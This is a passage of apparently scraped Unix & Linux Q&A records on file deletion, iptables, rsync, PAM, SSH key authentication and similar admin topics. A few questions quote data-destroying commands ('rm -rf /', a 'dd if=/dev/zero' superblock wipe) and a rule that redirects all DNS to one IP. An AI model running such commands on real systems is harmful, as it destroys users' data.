recursive search & related operations... I want to search files having name libre in them & then delete them... I am half done here & cant find a relaiable way to delete files especially when filenames have white spaces in them... find -iname *libre* this will search the files but lets say a file is 'Libre Office Word' now it has white spaces can you guide how to delete such files too?"} {"_id": "91163", "title": "How would I go about making this IPTABLE rule for every ip and not just one?", "text": "iptables -I PREROUTING -t nat -p udp -s 192.168.0.62 --dport 53 -j DNAT --to-destination 23.21.182.24 Instead of 192.168.0.62 I'd like to set that as a global rule, EVERY ip that needs dns should attempt to use 23.21.182.24 first. Is it possible?"} {"_id": "91807", "title": "Why does skype not pick up my microphone?", "text": "I've got `skype` running (32 bit mode) on Slackware64 -- the sound is fine but my mic is not able to be detected. KMIX shows that my mic is enabled, and I can hear myself when I test it. Some notifications I get in Konsole when starting `skype` are below: ALSA lib conf.c:4692:(snd_config_expand) Unknown parameters CARD=PCH ALSA lib control.c:953:(snd_ctl_open_noupdate) Invalid CTL default:CARD=PCH EDIT -- Added screenshot. ![enter image description here](http://i.stack.imgur.com/bEDd7.png) Here is my ALSA mixer. If I turn the Front Mic all the way up, I can hear myself speaking through my output device. I have kept it down all the way so I don't hear myself. ![enter image description here](http://i.stack.imgur.com/plNnL.png) Edit -- Another snapshot of AlsaMixer ![enter image description here](http://i.stack.imgur.com/xbf9m.png)"} {"_id": "3043", "title": "Use _roff to underline words", "text": "I currently have a file that I'd like to pass through a `_roff` to format with underline a few words in the file, and then view the file in `less`. Just a few, mind you, not whole sections or anything. **How do i underline specific words in a file with`_roff`?** NB: I know I have groff and nroff. NNB: I don't know a whole lot about type formatting."} {"_id": "3044", "title": "How to use the ul command line utility", "text": "I wanted to answer http://unix.stackexchange.com/questions/3043/use-roff-to- underline-words with \"just use ul, this command is meant specifically for underlining text\", however I just can't grasp how to use it. I thought $ echo \"hello _kitty_ world\" > /tmp/foo.txt $ ul /tmp/foo.txt would give me an underlined \"kitty\", however it doesn't. What am I doing wrong?"} {"_id": "62639", "title": "What is the difference between the packages postgresql and postgresql-9.n?", "text": "I know that packages `postgresql-9.1`, `postgresql-9.2` etc., are packages for Postgresql database versions 9.1 and 9.2 and so on. What I don't know is what the package `postgresql` is for? Does installing this package install whatever is the latest version in the current release in the distribution? If yes or not, what is its purpose? The closest questions I could find here is this one, Why do package names contain version numbers? and it doesn't answer my question appropriately."} {"_id": "27419", "title": "How to use wildcards (*) when copying with scp?", "text": "Why can't I copy with scp when I'm using `*` characters in the path? scp SERVERNAME:/DIR/* . What configs do SCP need to allow `*` in the path? UPDATE: the problem is not on server side, pscp is trying to use SCPv1, and that's why the error message: ![enter image description here](http://i.stack.imgur.com/AWxRl.png)"} {"_id": "144933", "title": "rsync specific directories", "text": "Below are the directories of my directory structure. I only want to run `rsync` on the content under the archive directory of any subdirectory and exclude everything else: ./ ap/ ap/aploader/ ap/aploader/archive/ ap/as400/ ap/as400/archive/ ce/ ce/archive/ edi/ edi/810/ edi/810/archive/ fin/ fin/adp/ fin/adp/archive/ gl/ gl/adp/ gl/adp/archive/ gl/as400/ gl/as400/archive/ gl/dcb/ gl/dcb/archive/ om/ om/pricelist/ om/pricelist/archive/ om/sygma/ om/sygma/archive/ The source and destination directories have the same directory structure but only archive directory need to `rsync`. For example: Everything under `/xx/inbound/om/pricelist/archive` needs to be copied to `/yy/inbound/om/pricelist/archive` and `xx/inbound/om/sygma/archive` needs to be copied to `/yy/inbound/om/sygma/archive`, and so on... I tried the following which doesn't work as I want it to: rsync --include '**archive/***' --exclude '*' -avzh -avzh /xx/inbound/ /yy/inbound"} {"_id": "21076", "title": "How to show lines after each grep match until other specific match?", "text": "I know that by using the `\"-A NUM\"` switch I can print specific number of trailing lines after each match. I am just wondering if it's possible to print trailing lines until a specific word is found after each match. e.g. When I search for \"Word A\" I want to see the line containing \"Word A\" and also the lines after it until the one containing \"Word D\". context: Word A Word B Word C Word D Word E Word F command: grep -A10 'Word A' I need this output: Word A Word B Word C Word D"} {"_id": "115766", "title": "Driver for Validity sensor 138a:0018", "text": "Does anyone know a driver which supports Validity sensor in HP Pavilion dv6 Notebook? I'm running Linux Mint 16 Cinnamon. If there isn't any driver, can I run the Windows version of the driver for it on Wine? This is the `lsusb` output. chinmaya@chinmaya-HP-dv6 ~ $ lsusb Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 004: ID 04f2:b252 Chicony Electronics Co., Ltd Bus 001 Device 003: ID 138a:0018 Validity Sensors, Inc. Fingerprint scanner Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub"} {"_id": "115764", "title": "How to remove cache device from bcache?", "text": "I believe, that once I made sure my cache device state is \"clean\": $ sudo cat /sys/block/bcache0/bcache/state I can just physically remove it from the machine when it is powered off or boot with liveCD and clean the superblock with: $ sudo dd if=/dev/zero of= bs=1024 count=1024 But I cannot find anywhere a confirmation, that this procedure wouldn't mess anything up."} {"_id": "27414", "title": " ide and pci bus commands", "text": "Is the ide interface also a bus? Is there a command like lspci or lsusb, to find out what devices are on the ide bus? Sources seem to contradict eachother. I'm asking this question here because of the need to know how to explore the bus in linux, but I would also like to make sure I understand what it is to begin with. Would that there is command like lssata as well?"} {"_id": "137101", "title": "\"find: .: No such file or directory\" while using find on the current directory", "text": "Find command seems not to work at all. For example, I'm in a directory where there absolutely is file named index.php and I execute this: [root@server htdocs]# find . -name \"index.php\" find: .: No such file or directory I always get this no such file or directory error. No matter what path I define, or what file I search for, I always get this error. I'm pretty sure that I'm overlooking something very simple. Can someone point out what I'm doing wrong? [root@server htdocs]# pwd /srv/www/htdocs [root@server htdocs]# type -a find find is /usr/bin/find [root@server htdocs]# ls -la | grep index.php -rw-rw-r-- 1 andris users 413 Sep 1 2013 index.php [root@server htdocs]# find . -name \"index.php\" find: .: No such file or directory [root@server htdocs]# find . . find: .: No such file or directory [root@server htdocs]# stat . File: `.' Size: 4096 Blocks: 8 IO Block: 4096 directory Device: ca00h/51712d Inode: 155686 Links: 12 Access: (0775/drwxrwxr-x) Uid: ( 504/ andris) Gid: ( 100/ users) Access: 2014-06-17 19:37:22.000000000 +0000 Modify: 2014-06-08 21:06:16.000000000 +0000 Change: 2014-06-08 21:06:16.000000000 +0000 [root@server htdocs]# find --version GNU find version 4.2.27 Features enabled: D_TYPE O_NOFOLLOW(enabled) LEAF_OPTIMISATION SELINUX `strace find .` output: https://gist.github.com/andrisp/f3adaf740548eead33da [root@server htdocs]# find . -noleaf -name \"index.php\" find: .: No such file or directory"} {"_id": "137106", "title": "Disabling power management", "text": "I am running Cubieez on a Cubieboard2, I need to disable screen saver and power management, I've followed several tutorials about but none seems to work, I've written: xset s off. xset -dpms xset s noblank exec /etc/alternatives/x-session-manager In `~/.xinitrc` but the board keeps going to blank. What's more interesting is that if I enter `xset -dpms` in the command line it works and stops the power management, so I wonder is if it really reading the `~/.xinitrc` file."} {"_id": "67049", "title": "Invoking memory compaction on linux 2.6.35 kernels and beyond", "text": "This LWN article about memory compaction indicates that memory compaction can be invoked in the linux kernel by > Writing a node number to /proc/sys/vm/compact_node, causing compaction to > happen on the indicated NUMA node. When should I write the node number to the sys entry? I mean what should I detect or read and then write the node to the sys entry? What should be my criteria and how should I measure that criteria before writing to the sys entry? > (\u2026) The other is for the system to fail in an attempt to allocate a higher- > order page; in this case, compaction will run as a preferable alternative to > freeing pages through direct reclaim. In the absence of an explicit trigger, > the compaction algorithm will stay idle; there is a cost to moving pages > around which is best avoided if it is not needed. What is meant by allowing the system to fail? Fail in what way? How can I detect that failure ? By failure does it mean simple request for allocating a higher order page, which was denied ? In this case is the compaction algorithm run automatically, by itself? My requirement: I'd like to trigger memory compaction by getting an idea of system state and memory fragmentation on the system. And I'd like to know for sure that compaction will help before actually running it."} {"_id": "61768", "title": "What is the \"~/\" directory?", "text": "I'm trying to locate where some files are stored and I can easily browse to them via ssh by going to \"cd ~/foldername\", however, I have no idea what directory \"~/\" actually is. When I browse around folders via WinSCP (yes, I'm a Windows admin), I can't seem to locate this folder at all. This is probably the most \"noob\" question I've ever asked but I've been having a tough time Googling it due to the length and it not actually coming up. **Note:** I'm using Amazon Linux on EC2 if it makes any difference. Thanks in advance."} {"_id": "67044", "title": "Ubuntu 12 installation - partitions", "text": "I want to install Ubuntu 12 and I would like to partition my hard drive so that the OS lives in its own partition and the data in a different one. Thus if the system breaks for some reason, the data will remain intact. Is there a better way of doing this?"} {"_id": "115947", "title": "Compress zip files with higher compression", "text": "I have a large number of zip files that were compressed using the zip command. I would like to recompress them with the -9 flag to improve the compression ratio. Does anyone know if that can be done without manually decompressing and then compressing. PS. I need to keep them as zip files since they are served to windows users( and as such have white spaces in their names)"} {"_id": "67043", "title": "Set environment variable for all of tmux shells when gnome-sessions gets restarted", "text": "To solve this problem, I need to set the environment variable `DBUS_SESSION_BUS_ADDRESS` for all shells inside `tmux` every time I restart gnome without restarting tmux (this is often). How can I best solve this? * I cannot cleanly change another processes' environment. * I cannot send a command to every pane * I could set the environment variable in my `PROMPT_COMMAND`. It means I need to press `Enter` before I can run gnome applications. It's ugly and overkill. * I could set the environment variable by executing a command before every command, but that's a bit overkill. Is there another way to fix this in a cleaner way?"} {"_id": "67040", "title": "Which process updates /proc/scsi/scsi?", "text": "I wrote C that displays info about my hardware on ubuntu. Now I wonder how I can make it more flexible such as querying the hardware directly instead of the file the os updates. So I think I can look what write to `/proc/scsi/scsi` and do the same so that this code can work also on unices who could have other method than a /proc/scsi/scsi and so that I can learn how to display hardware information. #include #include int main() { char ch, file_name[25] = \"/proc/scsi/scsi\"; FILE *fp; fp = fopen(file_name,\"r\"); // read mode if( fp == NULL ) { perror(\"Error while opening the file.\\n\"); exit(EXIT_FAILURE); } printf(\"The contents of %s file are :\\n\", file_name); while( ( ch = fgetc(fp) ) != EOF ) printf(\"%c\",ch); fclose(fp); return 0; } For me it looked like this $ cc driveinfo.c;./a.out The contents of /proc/scsi/scsi file are : Attached devices: Host: scsi0 Channel: 00 Id: 00 Lun: 00 Vendor: ATA Model: WDC WD2500JS-75N Rev: 10.0 Type: Direct-Access ANSI SCSI revision: 05 Host: scsi1 Channel: 00 Id: 00 Lun: 00 Vendor: ATA Model: ST3250824AS Rev: 3.AD Type: Direct-Access ANSI SCSI revision: 05 Host: scsi2 Channel: 00 Id: 00 Lun: 00 Vendor: TSSTcorp Model: DVD+-RW TS-H653A Rev: D300 Type: CD-ROM ANSI SCSI revision: 05 Host: scsi3 Channel: 00 Id: 00 Lun: 00 Vendor: Optiarc Model: DVD-ROM DDU1681S Rev: 102A Type: CD-ROM ANSI SCSI revision: 05 Host: scsi4 Channel: 00 Id: 00 Lun: 00 Vendor: Lexar Model: USB Flash Drive Rev: 1100 Type: Direct-Access ANSI SCSI revision: 00 Host: scsi5 Channel: 00 Id: 00 Lun: 00 Vendor: WD Model: 5000AAKB Externa Rev: l108 Type: Direct-Access ANSI SCSI revision: 00 Can it run on other unices e.g. bsd? How can I make it run on ms-windows? Can I query the hardware directly instead of the file `/proc/scsi/scsi` ?"} {"_id": "132550", "title": "How to execute grep in tcl for getting XYZ-123 type pattern", "text": "How can I execute this grep command in TCL? `grep '[A-Z][A-Z][A-Z]\\\\-[0-9][0-9][0-9]' file1 > file2`"} {"_id": "91808", "title": "wheezy maven install", "text": "I have wheezy installed from a pen drive. Updated things and thought I had got `maven` and `eclipse`. But `maven` projects would not compile. I uninstalled all the `maven` programs I could find in Add/remove software. That was 2 days back. Now can't remember what I removed and anyway fear something was missing. What -all- do I need to install to get `maven` working with java projects--run from command line and eclipse? Should I reinstall eclipse/STS? What I tried : downloaded libmaven-install-plugin-java_2.3-4_all.deb' Tried to install : dpkg -i libmaven-install-plugin-java_2.3-4_all.deb Output: > Selecting previously unselected package libmaven-install-plugin-java. > (Reading database ... 133826 files and directories currently installed.) > Unpacking libmaven-install-plugin-java (from .../libmaven-install-plugin- > java_2.3-4_all.deb) ... dpkg: dependency problems prevent configuration of > libmaven-install-plugin-java: libmaven-install-plugin-java depends on > libmaven2-core-java; however: Package libmaven2-core-java is not installed. > libmaven-install-plugin-java depends on libplexus-digest-java; however: > Package libplexus-digest-java is not installed. > > dpkg: error processing libmaven-install-plugin-java (--install): dependency > problems - leaving unconfigured Errors were encountered while processing: > libmaven-install-plugin-java"} {"_id": "132556", "title": "How can I get the first column of a 300GB txt file?", "text": "let me first explain my problem in detail. It's actually pretty simple. I have a huge .txt file, 300GB to be more preciese, and I would like to put all the distinct strings from the first column, that match my pattern into a different .txt file. awk '{print $1}' file_name | grep -o '/ns/.*' | awk '!seen[$0]++' > test1.txt This is what I've tried, and as far as I can see it works fine but the problem is that after some time I get the following error: awk: program limit exceeded: maximum number of fields size=32767 FILENAME=\"file_name\" FNR=117897124 NR=117897124 Any suggestions for parsing through a file this big?"} {"_id": "132554", "title": "How do I create this symbolic link in Unix?", "text": "I want to run gmake when I run make, so I am creating a symbolic link. My gmake is inside `/usr/local/dist`. My make is inisde `/usr/ccs/bin`. Is this the correct command: `ln -s /usr/local/dist/gmake /usr/ccs/bin/make` My confusion is, do I even care about `/usr/ccs/bin/make`? I am making a symbolic link so if I type \"make\" anywhere it should just run gmake at `/usr/local/dist` right? So should the command be: `ln -s /usr/local/dist/gmake make`?"} {"_id": "117737", "title": "Does perf includes some \"graphing\" abilities?", "text": "It's possible to create a bitmap or a vector image out of the data collected by the `perf` profiler under linux ?"} {"_id": "66392", "title": "How to authenticate a user with PAM, that is not the user that started the application", "text": "I'm currently developing an authentication module for an application. The decision was made to do this by using PAM. I have made this work but it can only authenticate the user that started the application. This means that if I started the application as the user 'appname' the authentication only tells me it is successful if the user is 'appname' and not 'some_user' If I su to that 'some_user' and started the application in that terminal then I can authenticate 'some_user' but not 'appname' I turned on the debug flag for pam_unix in common-auth. Resulting in the following output when it rejects: unix_chkpwd[4107]: check pass; user unknown unix_chkpwd[4107]: password check failed for user (pamtest) [app]: pam_unix(other:auth): authentication failure; logname=[appname] uid=1000 euid=1000 tty= ruser=[appname] rhost= user=pamtest"} {"_id": "66395", "title": "Creating a local workspace for development/testing", "text": "I want to be able to `mount`, say /home/$USER/workspace to /usr/local/workspace. Right now I'm using the python package pyfilesystem which uses `fuse` to do that. My problem is, that inside that mount I am not able to create `symlinks`. I don't even need symlinks going outside the mount, but even a symlink that normally is created for a shared library during compilation, will not be created inside the mount. So I'm either looking for a totally different approach, or a tool (preferably written in `Python`) that does exactly what `pyfilesystem` is doing and supports the creation of symlinks. Further constraints: * Using a simple symlink instead of a mount does not work for me as the mounted directory will actually be inside a `chroot`. * Mounting must not require root privileges. * Changing `fstab` is not an option. * Thus using `mount bind` is not an option."} {"_id": "119975", "title": "How to set Linux to ask for authentication when running potentially dangerous commands?", "text": "I've faced times when I accidentally ran dangerous commands and lost all my data. How do I set Linux to ask for current user password or root user password when running potentially dangerous commands like `rm -rf .` or `rm -rf /` and many other?"} {"_id": "66396", "title": "How to prevent shutdown when an SSH user is logged in?", "text": "I'm administrating a networked environment and I had an interesting situation arise yesterday. When a host is required to shutdown by a regular user, it refuses to do so if other users are logged in locally. This, however, is not the case when other users are logged in via SSH. If one user is logged in locally and one user is logged in via SSH and the locally logged in user attempts shutdown it succeeds without even a warning and the other user's SSH connection is abruptly terminated. My question is, is there a way to prevent this like the policy does for local users? I have already looked at the man page for `sshd_config` and couldn't find anything that seems related. * * * **EDIT (Additional info.):** There are 4 OS's on the network: Mandriva 2009, Mandriva 2010.2, Mandriva 2011 and Ubuntu 11.04. The specific case I'm referring to had the SSH user on a Mandriva 2009 host and the local user on a Mandriva 2011 host. Mandriva 2009 hosts use the GNOME 2.28 environment, 2010.2 hosts use GNOME 2.32, 2011 hosts use KDE Plasma and the Ubuntu 11.04 hosts use Unity. * * * **Update** As I noted in this question, I have looked into `polkit` actions under `/usr/share/polkit-1/actions/` and found (in the file `org.freedesktop.consolekit.policy`) an action called `org.freedesktop.consolekit.system.stop-multiple-users` that throws the message System policy prevents stopping the system when other users are logged in I'm thinking (due to the `org.freedesktop.*` naming convention) that this is some kind of signal sent to the DM via D-BUS. I think that if I can find out what signal triggers this `polkit` action, I should be able to modify its behavior. Any ideas? * * * **Update 2** I tried a little experiment today and it gave me very strange results. I tried logging in via SSH to one box and made sure no other users were logged in on any VTs. If I choose to `Shutdown` from the \"Actions\" menu of GDM, I get the long-awaited policy message informing me that it's impossible to do so without authentication as other users are logged in. **However** , if I use GDM to locally log in and choose to shut down the box from GNOME's menu, the SSH session is clobbered as before. How is this possible? Is the behavior different when I initiate a `shutdown` request from GDM than when I initiate it from within a `gnome-session`? Does that tell anybody anything that can help me solve the problem?"} {"_id": "91292", "title": "Mac OS X: Terminal Prompt Username", "text": "I'm using Mac OS Snow Leopard (v10.6.8). I've changed the account name under `System Preferences > System > Accounts > Full Name`. However, that does not change the username on the terminal prompt. That is, by changing the `export PS1` to, for example, `\\u`, the username remains the old one. I did not rename the home directory under `/Users/username`, but I was hoping it would be possible just to change that particular username on the terminal (I think it is called short name)."} {"_id": "109581", "title": "SSH public key authentication works on LAN and not from WAN", "text": "I've setup my SSH server to use public key authentication. When I connect to my server on local network, it authenticates. But it doesn't when I connect over the internet. I don't think the problem is port forwarding. It used to work before disabling password login in the server. Here is the output of ssh -vvv user@example.com OpenSSH_6.2p2, OSSLShim 0.9.8r 8 Dec 2011 debug1: Reading configuration data /etc/ssh_config debug1: /etc/ssh_config line 20: Applying options for * debug1: /etc/ssh_config line 53: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to example.com [1.2.3.4] port 22. debug1: Connection established. debug3: Incorrect RSA1 identifier debug3: Could not load \"/Users/myuser/.ssh/id_rsa\" as a RSA1 public key debug1: identity file /Users/myuser/.ssh/id_rsa type 1 debug1: identity file /Users/myuser/.ssh/id_rsa-cert type -1 debug1: identity file /Users/myuser/.ssh/id_dsa type -1 debug1: identity file /Users/myuser/.ssh/id_dsa-cert type -1 debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_6.2 debug1: Remote protocol version 2.0, remote software version dropbear_0.52 debug1: no match: dropbear_0.52 debug2: fd 3 setting O_NONBLOCK debug3: put_host_port: [example.com]:22 debug3: load_hostkeys: loading entries for host \"[example.com]:22\" from file \"/Users/myuser/.ssh/known_hosts\" debug3: load_hostkeys: found key type RSA in file /Users/myuser/.ssh/known_hosts:2 debug3: load_hostkeys: loaded 1 keys debug3: order_hostkeyalgs: prefer hostkeyalgs: ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa,ssh-dss-cert-v01@openssh.com,ssh-dss-cert-v00@openssh.com,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,3des-ctr,aes256-ctr,aes128-cbc,3des-cbc,aes256-cbc,twofish256-cbc,twofish-cbc,twofish128-cbc,blowfish-cbc debug2: kex_parse_kexinit: aes128-ctr,3des-ctr,aes256-ctr,aes128-cbc,3des-cbc,aes256-cbc,twofish256-cbc,twofish-cbc,twofish128-cbc,blowfish-cbc debug2: kex_parse_kexinit: hmac-sha1-96,hmac-sha1,hmac-md5 debug2: kex_parse_kexinit: hmac-sha1-96,hmac-sha1,hmac-md5 debug2: kex_parse_kexinit: none debug2: kex_parse_kexinit: none debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_setup: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug2: dh_gen_key: priv key bits set: 132/256 debug2: bits set: 501/1024 debug1: sending SSH2_MSG_KEXDH_INIT debug1: expecting SSH2_MSG_KEXDH_REPLY debug1: Server host key: RSA 10:21:9f:80:7b:a3:94:0d:ca:3b:15:fd:e1:37:20:ee debug3: put_host_port: [1.2.3.4]:22 debug3: put_host_port: [example.com]:22 debug3: load_hostkeys: loading entries for host \"[example.com]:22\" from file \"/Users/myuser/.ssh/known_hosts\" debug3: load_hostkeys: found key type RSA in file /Users/myuser/.ssh/known_hosts:2 debug3: load_hostkeys: loaded 1 keys debug3: load_hostkeys: loading entries for host \"[1.2.3.4]:22\" from file \"/Users/myuser/.ssh/known_hosts\" debug3: load_hostkeys: found key type RSA in file /Users/myuser/.ssh/known_hosts:2 debug3: load_hostkeys: loaded 1 keys debug1: Host '[example.com]:22' is known and matches the RSA host key. debug1: Found key in /Users/myuser/.ssh/known_hosts:2 debug2: bits set: 534/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /Users/myuser/.ssh/id_rsa (0x7fc0336004b0), debug2: key: /Users/myuser/.ssh/id_dsa (0x0), debug1: Authentications that can continue: publickey,password debug3: start over, passed a different list publickey,password debug3: preferred publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Offering RSA public key: /Users/myuser/.ssh/id_rsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,password debug1: Trying private key: /Users/myuser/.ssh/id_dsa debug3: no such identity: /Users/myuser/.ssh/id_dsa: No such file or directory debug2: we did not send a packet, disable method debug3: authmethod_lookup password debug3: remaining preferred: ,password debug3: authmethod_is_enabled password debug1: Next authentication method: password user@example.com's password: and here my server's sshd_config: # Package generated configuration file# See the sshd_config(5) manpage for details # What ports, IPs and protocols we listen for Port 22 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 Protocol 2 # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key HostKey /etc/ssh/ssh_host_ecdsa_key #Privilege Separation is turned on for security UsePrivilegeSeparation yes # Lifetime and size of ephemeral version 1 server key KeyRegenerationInterval 3600 ServerKeyBits 768 # Logging SyslogFacility AUTH LogLevel INFO # Authentication: LoginGraceTime 120 PermitRootLogin no StrictModes yes RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile %h/.ssh/authorized_keys # Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes # To enable empty passwords, change to yes (NOT RECOMMENDED) PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Change to no to disable tunnelled clear text passwords PasswordAuthentication no # Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes X11Forwarding yes X11DisplayOffset 10 PrintMotd no PrintLastLog yes TCPKeepAlive yes #UseLogin no #MaxStartups 10:30:60 #Banner /etc/issue.net # Allow client to pass locale environment variables AcceptEnv LANG LC_* Subsystem sftp /usr/lib/openssh/sftp-server # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of \"PermitRootLogin without-password\". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes If it's at all useful, my server is Raspbian and my client is OS X Mavericks EDIT: the permission of the ~/.ssh directory in the server is set to 700. The authorized_keys file is set to 600. EDIT: Log of internal connection: $ ssh 192.168.2.145 -l user -vvv [14:48:01] OpenSSH_6.2p2, OSSLShim 0.9.8r 8 Dec 2011 debug1: Reading configuration data /etc/ssh_config debug1: /etc/ssh_config line 20: Applying options for * debug1: /etc/ssh_config line 53: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to 192.168.2.145 [192.168.2.145] port 22. debug1: Connection established. debug3: Incorrect RSA1 identifier debug3: Could not load \"/Users/myuser/.ssh/id_rsa\" as a RSA1 public key debug1: identity file /Users/myuser/.ssh/id_rsa type 1 debug1: identity file /Users/myuser/.ssh/id_rsa-cert type -1 debug1: identity file /Users/myuser/.ssh/id_dsa type -1 debug1: identity file /Users/myuser/.ssh/id_dsa-cert type -1 debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_6.2 debug1: Remote protocol version 2.0, remote software version OpenSSH_6.0p1 Debian-4 debug1: match: OpenSSH_6.0p1 Debian-4 pat OpenSSH* debug2: fd 3 setting O_NONBLOCK debug3: put_host_port: [192.168.2.145]:22 debug3: load_hostkeys: loading entries for host \"[192.168.2.145]:22\" from file \"/Users/myuser/.ssh/known_hosts\" debug3: load_hostkeys: found key type RSA in file /Users/myuser/.ssh/known_hosts:1 debug3: load_hostkeys: loaded 1 keys debug3: order_hostkeyalgs: prefer hostkeyalgs: ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa,ssh-dss-cert-v01@openssh.com,ssh-dss-cert-v00@openssh.com,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 